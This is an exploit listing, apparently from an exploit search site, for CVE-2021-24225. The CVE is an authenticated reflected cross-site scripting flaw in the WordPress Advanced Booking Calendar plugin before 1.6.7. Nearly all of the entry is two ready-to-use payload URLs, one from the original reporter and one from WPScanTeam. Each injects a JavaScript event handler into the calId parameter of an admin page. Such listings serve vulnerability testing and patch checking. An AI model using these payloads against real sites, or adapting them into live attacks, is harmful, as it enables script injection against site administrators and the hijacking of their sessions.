Exploit for Advanced Booking Calendar < 1.6.7 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24225

Name: Exploit for Advanced Booking Calendar < 1.6.7 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24225
Rating: 5 (303 reviews)

2021-03-28 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:25CA8AF5-AB48-4E6D-B2EF-FC291742F1D5
Payloads:
- Original reporter: /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=calNotDeleted&calId=aaaaaaaa%22+onclick%3Dalert%28123%29%3B%2F%2F

- WPScanTeam: /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=calNotDeleted&calId=a%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29+b%3D%22